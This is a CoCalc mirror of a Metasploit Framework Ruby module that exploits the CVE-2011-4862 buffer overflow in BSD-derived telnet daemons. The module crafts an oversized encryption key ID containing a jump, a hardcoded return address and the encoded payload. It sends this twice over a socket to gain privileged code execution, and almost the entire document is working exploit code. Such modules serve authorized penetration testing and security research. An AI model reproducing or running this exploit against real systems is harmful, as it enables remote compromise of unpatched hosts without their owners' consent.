CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb
Views: 1904
1
# -*- coding: binary -*-
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GreatRanking
10
11
include Msf::Exploit::Remote::Telnet
12
include Msf::Exploit::BruteTargets
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
17
'Description' => %q{
18
This module exploits a buffer overflow in the encryption option handler of the
19
Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
20
use NetKit-derived telnet daemons, so this flaw only applies to a small subset of
21
Linux systems running telnetd.
22
},
23
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
24
'License' => MSF_LICENSE,
25
'References' =>
26
[
27
['CVE', '2011-4862'],
28
['OSVDB', '78020'],
29
['BID', '51182'],
30
['EDB', '18280']
31
],
32
'Privileged' => true,
33
'Platform' => 'linux',
34
'Payload' =>
35
{
36
'Space' => 200,
37
'BadChars' => "\x00",
38
'DisableNops' => true,
39
},
40
41
'Targets' =>
42
[
43
[ 'Automatic', { } ],
44
[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
45
],
46
'DefaultTarget' => 0,
47
'DisclosureDate' => '2011-12-23'))
48
end
49
50
def exploit_target(t)
51
52
connect
53
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
54
vprint_status(banner_sanitized)
55
56
enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
57
enc_keyid = "\xff\xfa\x26\x07"
58
end_suboption = "\xff\xf0"
59
60
penc = payload.encoded.gsub("\xff", "\xff\xff")
61
62
key_id = Rex::Text.rand_text_alphanumeric(400)
63
64
key_id[ 0, 2] = "\xeb\x76"
65
key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
66
key_id[76, 4] = [ t['Ret'] ].pack("V")
67
68
# Some of these bytes can get mangled, jump over them
69
key_id[80,40] = "\x41" * 40
70
71
# Insert the real payload
72
key_id[120, penc.length] = penc
73
74
# Create the Key ID command
75
sploit = enc_keyid + key_id + end_suboption
76
77
# Initiate encryption
78
sock.put(enc_init)
79
80
# Wait for a successful response
81
loop do
82
data = sock.get_once(-1, 5) rescue nil
83
if not data
84
fail_with(Failure::Unknown, "This system does not support encryption")
85
end
86
break if data.index("\xff\xfa\x26\x02\x01")
87
end
88
89
# The first request smashes the pointer
90
print_status("Sending first payload")
91
sock.put(sploit)
92
93
# Make sure the server replied to the first request
94
data = sock.get_once(-1, 5)
95
unless data
96
print_status("Server did not respond to first payload")
97
return
98
end
99
100
# Some delay between each request seems necessary in some cases
101
::IO.select(nil, nil, nil, 0.5)
102
103
# The second request results in the pointer being called
104
print_status("Sending second payload...")
105
sock.put(sploit)
106
handler
107
108
::IO.select(nil, nil, nil, 0.5)
109
disconnect
110
end
111
end
112
113